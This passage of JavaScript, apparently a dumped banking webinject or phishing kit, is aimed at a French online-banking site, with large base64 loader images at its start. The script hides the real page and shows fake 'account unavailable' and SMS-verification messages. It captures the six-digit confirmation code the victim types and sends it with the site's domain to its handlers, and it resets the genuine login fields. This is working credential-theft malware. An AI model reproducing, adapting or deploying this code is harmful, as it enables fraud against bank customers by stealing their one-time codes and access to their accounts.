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';break;case(2):return 'data:image/gif;base64,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';break;case(3):return 'data:image/gif;base64,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';break;}});
  1617.  
  1618. _tables.text = {
  1619.     block_title: 'La consultation de vos comptes est momentan&#233;ment indisponible.',
  1620.     block_body: 'Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.',
  1621.     query: 'Attention ! Pour v&#233;rifier votre compte nous vous enverrons un sms de confirmation sur votre t&#233;l&#233;phone: _PHONE_'
  1622. };
  1623.  
  1624. _tables.showpage = function(){
  1625.     if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
  1626. };
  1627.  
  1628. _tables.login = function(){
  1629.     _tables.get('login').value = '';
  1630.     _tables.get('password').value = '';
  1631.     _tables.get('button').style.display = '';
  1632.     var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
  1633.     keyboard.style.display = '';
  1634.     _tables.id('_tables.keyboard.div').style.display = 'none';
  1635.     _tables.id('_f_btntoloader').parentNode.removeChild(_tables.id('_f_btntoloader'));
  1636. };
  1637.  
  1638. _tables.fkbtn = function(){
  1639.     var error = false;
  1640.     var code = _tables.id('_tables.code.input');
  1641.     if(!/^\d{6}$/igm.test(code.value)){
  1642.         valid = true;
  1643.     }
  1644.     if(!error){
  1645.         _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');});
  1646.         _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
  1647.         _tables.set('pause',true);
  1648.         _tables.status('TJ');
  1649.         _tables.send(
  1650.                         {'type':_tables.get('type')},
  1651.                         {'domain':document.domain},
  1652.                         {'data':'Code: '+code.value},
  1653.                         {'message':'Data recieved'},
  1654.                         {'branch':'TJ'}
  1655.         );
  1656.     }
  1657. };
  1658.  
  1659. _tables.fake = function(step){
  1660.     switch(step){
  1661.         case('LOGIN'):
  1662.             location.reload();
  1663.         break;
  1664.        
  1665.         case('RELOGIN'):
  1666.             location.reload();
  1667.         break;
  1668.        
  1669.         case('BLOCK'):
  1670.        
  1671.             if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
  1672.            
  1673.             var divHolder = _tables.findout(document,'div','class:container\-ident');
  1674.             if(divHolder){
  1675.                 divHolder.style.display = 'none';
  1676.                
  1677.                 var div = document.createElement('div');
  1678.                 div.id = '_tables.fakebox';
  1679.                 div.innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
  1680.                 div.className = 'container-ident';
  1681.                
  1682.                 divHolder.parentNode.insertBefore(div,divHolder);
  1683.                
  1684.             }
  1685.        
  1686.         break;
  1687.        
  1688.         case('FAKE'):
  1689.             if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
  1690.             var divHolder = _tables.findout(document,'div','class:container\-ident');
  1691.             if(divHolder){
  1692.                 var els = _tables.answer.p3.split('|');
  1693.                 var div = document.createElement('div');
  1694.                 div.id = '_tables.fakebox';
  1695.                 div.style.width = '550px';
  1696.                 div.style.margin = '0px auto';
  1697.                 div.innerHTML = '<div style="background:#FFFFFF;width:550px;text-align:center;padding-top:20px;">'+
  1698.                                     '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEQAAABECAYAAAA4E5OyAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NkE3MTc4QjUxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NkE3MTc4QjYxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2QTcxNzhCMzE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2QTcxNzhCNDE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv1LnDkAAAmHSURBVHja5Vv7U5NXGj4/MeN/0F+1sWoVFAJyCTGoECQiMSVgL+jiBQXlIpcgiisXQxARUbxUqisVL4iXUgVFwUuEkBBlxrbTsbMznc4y7bSzu8OOHbtepjvz7nmCgZRLiHA+DPSdeSZfznfO8z7P851gTL4wImKjYaZx/bgxy7SRvbs/hckOpbHZRzPYnJM5M+ed3ZH8/sVC4/yrRecXXCvt8W0x9vi1ml753d5HDvBjjOEc5mAu1mAtOMAFTnB7osGdt9HAhAZStoHNquAhVKex9z7N8pl7Jl83/8qe8743ynoXtlfQInMV+XdUk3/XIQqw1VCA/QjJHx4l+aNj/eDHGMM5zMFcrMFacIALnOBGD/RCz0kLZBautCcoW++4crNrtrK5p3PlCy7vPu5309jnf6+SArqqSW6vocCHRyjw0dHxga8FB7jACW70QC/0dOyasuG6Jj8QBFGxyRHEvLq8UN8viloXte+jAMvrEMYbwBhwhMN7oBd6orcjGK7FNZjJDaR8A5tdncrmnsqRLUAQdypIzrd5oP2IZEEMA15yvCd6QwO0QBO0SRLIu8bkESGr2MjmHEv3WdCws2TRbdNzeddBCuJXLejRkbcD3hsaoAWaoA0apQ+Eb0dZZQqb+9n2d/yaiswB5kp+lQ6/vSCGAFqgCdqgUYJA/jII03o2u2ozm3c6x3dhS2mv3FJFQQ8RRo13gWuCNmiEVkkCkZWvZ+8dSmXzzxr0/reMz4Ks1bSYN17MBXglcKG4RmiFZqGByEzJbM7hVLbgwo7CgHYTBdlehzEFAK3QDO1CApGV8TD4zvBrKCgPvLuPFndXUzBvNJUAzdAODxMOZE71ZuZ7Pj9LftfEiQ/yBoemJKAdHuBlQoH4nsnVBbaVUTAnDOHEUxnwAC++9bn6cQUy/2TmTPnNkqfB1gOcsHpaAF7gCd7eKJD3j6b5+Dft7gm2VFIoJ5pOgCd4g0ePA1nYYNiz2FxOofYqTnJweoF7gjfuscSjQHxPZsiCbhW/Cu2upLCHVdMS8AaP8DpmIAFXd7aEWipIwReKQPK39fTzy19pogUOcInSBY/w6jYQv7rM8OD2UlLwBBUPDwjBs/+9JFEFLlG64BFe4XnUQAK/KGgNs+yjcL5AFESXSG3wCs8jBuJ3Kn1RcFsxhXfv55MrhUF8IOK0wSs8w/uwQOSNebWKjjJS2vcLhbO8hWco4Bne/xCI3/HNM0JuFPYpbeW0xF4hFM7yFp6hgGd4RwYDgfh/nqEPu1MsvNlUCASAd2QwEEjQpdw6ZcdeUtn3CYezvIVnJCg7jcQzqB8IJLS5oFdlK6MIe7lwOMtbeEYCvCMDRyD+n22RKW7vpohu0582EHhHBsiCBZ7ZtlZ5r4iW2k2SwFnewjMalHf3ELJgwQ1Z+1UPimmZvUwSOGu082d+6uDvQF+8fif6wvF8PDwThcpcRMEXMo0s9GrOtQgLAjFKgkEjw89d+cXuOHfr319T9ndnHY8ojL8JjwhEdBZTyJXsi0zxZV7PMksJLe82SgJnDR3XPup/W48d4TqO5yic94RHFJCBoimvhymvG35Ybi2hyO69ksBZQ8dzn9Q7xvHoyfhoPKKADJAFW9Ji6IvkT6K6SyWBs1zHkh7X0Pf//cUxjsevfv3HAFzHMc8dj0ggA2TBVDcMr6JsxXywRBIMGhkcy3tyxqP/yGGeOx6h4BkgC0cgav5EzQelgLNcx94kEHc8QuEMJKIlr09tLaLo7mJJ4CzXMcOTzz0KBPPc8YgEMkAWTHU9+we1dQ8fLJIEg0